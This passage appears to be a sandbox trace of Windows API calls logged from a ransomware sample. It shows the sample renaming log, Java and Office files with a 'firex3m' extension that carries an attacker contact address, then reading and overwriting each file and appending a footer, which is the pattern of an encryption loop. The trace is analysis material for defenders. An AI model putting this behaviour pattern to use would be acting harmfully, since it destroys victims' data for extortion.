(lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0103.563] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0103.563] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fc6c | out: lpFindFileData=0x687fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4169a7a, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4169a7a, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x1900e5fc, dwReserved1=0x0, cFileName="Microsoft-Windows-AppLocker%4MSI and Script.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MICROS~3.FIR")) returned 0x6d5400 [0103.563] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0103.563] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0103.564] GetProcessHeap () returned 0x630000 [0103.564] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6eef110 [0103.564] GetProcessHeap () returned 0x630000 [0103.564] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6efa540 [0103.564] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.564] ReadFile (in: hFile=0x4d4, lpBuffer=0x6eef110, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6eef110*, lpNumberOfBytesRead=0x687ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0112.158] GetProcessHeap () returned 0x630000 [0112.158] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0112.158] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.158] WriteFile (in: hFile=0x4d4, lpBuffer=0x6efa540*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6efa540*, lpNumberOfBytesWritten=0x687ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0112.159] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.159] WriteFile (in: hFile=0x4d4, lpBuffer=0x6f0593f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f0593f*, lpNumberOfBytesWritten=0x687ff0c*=0x20, lpOverlapped=0x0) returned 1 [0112.159] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.159] WriteFile (in: hFile=0x4d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x687ff0c*=0x4, lpOverlapped=0x0) returned 1 [0112.159] CloseHandle (hObject=0x4d4) returned 1 [0112.162] GetProcessHeap () returned 0x630000 [0112.162] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6efa540 | out: hHeap=0x630000) returned 1 [0112.162] GetProcessHeap () returned 0x630000 [0112.162] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6eef110 | out: hHeap=0x630000) returned 1 [0112.162] GetProcessHeap () returned 0x630000 [0112.162] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0112.162] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0112.162] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fcc4 | out: lpFindFileData=0x687fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4169a7a, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4169a7a, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x8ccfdbd, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11024, dwReserved0=0x9a87496, dwReserved1=0x6eef108, cFileName="Microsoft-Windows-AppLocker%4MSI and Script.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MICROS~3.FIR")) returned 0x6d4e40 [0112.162] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0112.162] Sleep (dwMilliseconds=0x1) [0113.490] Sleep (dwMilliseconds=0x1) [0114.110] Sleep (dwMilliseconds=0x1) [0114.554] Sleep (dwMilliseconds=0x1) [0114.920] Sleep (dwMilliseconds=0x1) [0115.211] Sleep (dwMilliseconds=0x1) [0115.505] Sleep (dwMilliseconds=0x1) [0115.904] Sleep (dwMilliseconds=0x1) [0116.891] SysReAllocStringLen (in: pbstr=0x687ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe", len=0x32 | out: pbstr=0x687ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 1 [0116.891] GetProcessHeap () returned 0x630000 [0116.891] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699948, Size=0x20) returned 0x6e93a0 [0116.891] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0116.895] CloseHandle (hObject=0x6d4) returned 1 [0116.895] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.896] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0116.908] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0116.908] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fc6c | out: lpFindFileData=0x687fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="pack200.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PACK20~1.FIR")) returned 0x6d5440 [0116.913] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0116.913] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0116.913] GetProcessHeap () returned 0x630000 [0116.913] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4061) returned 0x6f15e18 [0116.913] GetProcessHeap () returned 0x630000 [0116.913] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4061) returned 0x6f19e88 [0116.913] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.913] ReadFile (in: hFile=0x6d4, lpBuffer=0x6f15e18, nNumberOfBytesToRead=0x4040, lpNumberOfBytesRead=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f15e18*, lpNumberOfBytesRead=0x687ff0c*=0x4040, lpOverlapped=0x0) returned 1 [0118.250] GetProcessHeap () returned 0x630000 [0118.250] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee4e0 [0118.250] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.250] WriteFile (in: hFile=0x6d4, lpBuffer=0x6f19e88*, nNumberOfBytesToWrite=0x4040, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f19e88*, lpNumberOfBytesWritten=0x687ff0c*=0x4040, lpOverlapped=0x0) returned 1 [0118.251] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.251] WriteFile (in: hFile=0x6d4, lpBuffer=0x6f1dec7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f1dec7*, lpNumberOfBytesWritten=0x687ff0c*=0x20, lpOverlapped=0x0) returned 1 [0118.251] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.251] WriteFile (in: hFile=0x6d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x687ff0c*=0x4, lpOverlapped=0x0) returned 1 [0118.251] CloseHandle (hObject=0x6d4) returned 1 [0118.252] GetProcessHeap () returned 0x630000 [0118.252] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f19e88 | out: hHeap=0x630000) returned 1 [0118.252] GetProcessHeap () returned 0x630000 [0118.252] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f15e18 | out: hHeap=0x630000) returned 1 [0118.252] GetProcessHeap () returned 0x630000 [0118.252] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee4e0 | out: hHeap=0x630000) returned 1 [0118.252] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0118.252] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fcc4 | out: lpFindFileData=0x687fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc6f1886, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4064, dwReserved0=0x9a87496, dwReserved1=0x6f15e10, cFileName="pack200.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PACK20~1.FIR")) returned 0x6d5200 [0118.253] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0118.253] Sleep (dwMilliseconds=0x1) [0123.295] SysReAllocStringLen (in: pbstr=0x687ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x687ff7c*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 1 [0123.295] GetProcessHeap () returned 0x630000 [0123.295] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1a4) returned 0x66a3e0 [0123.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0123.301] CloseHandle (hObject=0x68c) returned 1 [0123.301] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0123.301] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0123.339] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0123.339] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fc6c | out: lpFindFileData=0x687fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x838fd5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x838fd5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x630061, dwReserved1=0x2d0074, cFileName="AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AP405E~1.FIR")) returned 0x6d5040 [0123.339] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0123.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0123.340] GetProcessHeap () returned 0x630000 [0123.340] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x501) returned 0x6fba008 [0123.340] GetProcessHeap () returned 0x630000 [0123.340] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x501) returned 0x6fba518 [0123.340] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.340] ReadFile (in: hFile=0x68c, lpBuffer=0x6fba008, nNumberOfBytesToRead=0x4e0, lpNumberOfBytesRead=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fba008*, lpNumberOfBytesRead=0x687ff0c*=0x4e0, lpOverlapped=0x0) returned 1 [0123.869] GetProcessHeap () returned 0x630000 [0123.869] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee4e0 [0123.869] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.869] WriteFile (in: hFile=0x68c, lpBuffer=0x6fba518*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fba518*, lpNumberOfBytesWritten=0x687ff0c*=0x4e0, lpOverlapped=0x0) returned 1 [0123.869] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.869] WriteFile (in: hFile=0x68c, lpBuffer=0x6fba9f7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fba9f7*, lpNumberOfBytesWritten=0x687ff0c*=0x20, lpOverlapped=0x0) returned 1 [0123.869] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.870] WriteFile (in: hFile=0x68c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x687ff0c*=0x4, lpOverlapped=0x0) returned 1 [0123.870] CloseHandle (hObject=0x68c) returned 1 [0124.055] GetProcessHeap () returned 0x630000 [0124.055] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fba518 | out: hHeap=0x630000) returned 1 [0124.055] GetProcessHeap () returned 0x630000 [0124.055] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fba008 | out: hHeap=0x630000) returned 1 [0124.055] GetProcessHeap () returned 0x630000 [0124.055] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee4e0 | out: hHeap=0x630000) returned 1 [0124.367] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.368] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fcc4 | out: lpFindFileData=0x687fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x838fd5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x838fd5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc7fccd, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x511, dwReserved0=0x9a87496, dwReserved1=0x6fba000, cFileName="AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AP405E~1.FIR")) returned 0x6d5340 [0124.368] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0124.368] Sleep (dwMilliseconds=0x1) [0124.380] SysReAllocStringLen (in: pbstr=0x687ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar", len=0x34 | out: pbstr=0x687ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 1 [0124.380] GetProcessHeap () returned 0x630000 [0124.380] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x120) returned 0x66a3e0 [0124.380] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0124.600] CloseHandle (hObject=0x6a8) returned 1 [0124.600] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.629] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0124.630] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.630] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fc6c | out: lpFindFileData=0x687fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x354add, dwReserved0=0xeb004ba0, dwReserved1=0x0, cFileName="resources.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="RESOUR~1.FIR")) returned 0x6d5540 [0124.630] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0124.630] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0124.630] GetProcessHeap () returned 0x630000 [0124.630] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72f51a8 [0124.630] GetProcessHeap () returned 0x630000 [0124.630] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73005d8 [0124.630] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.630] ReadFile (in: hFile=0x6a8, lpBuffer=0x72f51a8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72f51a8*, lpNumberOfBytesRead=0x687ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0128.222] GetProcessHeap () returned 0x630000 [0128.222] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317950 [0128.222] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.222] WriteFile (in: hFile=0x6a8, lpBuffer=0x73005d8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73005d8*, lpNumberOfBytesWritten=0x687ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0129.740] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.740] WriteFile (in: hFile=0x6a8, lpBuffer=0x730b9d7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x730b9d7*, lpNumberOfBytesWritten=0x687ff0c*=0x20, lpOverlapped=0x0) returned 1 [0129.742] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.742] WriteFile (in: hFile=0x6a8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x687ff0c*=0x4, lpOverlapped=0x0) returned 1 [0129.742] CloseHandle (hObject=0x6a8) returned 1 [0134.238] GetProcessHeap () returned 0x630000 [0134.238] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73005d8 | out: hHeap=0x630000) returned 1 [0134.238] GetProcessHeap () returned 0x630000 [0134.238] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72f51a8 | out: hHeap=0x630000) returned 1 [0134.238] GetProcessHeap () returned 0x630000 [0134.238] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317950 | out: hHeap=0x630000) returned 1 [0134.239] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0134.239] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fcc4 | out: lpFindFileData=0x687fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x15f56757, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x354b01, dwReserved0=0x9a87496, dwReserved1=0x72f51a0, cFileName="resources.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="RESOUR~1.FIR")) returned 0x6d4f00 [0134.239] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0134.239] Sleep (dwMilliseconds=0x1) 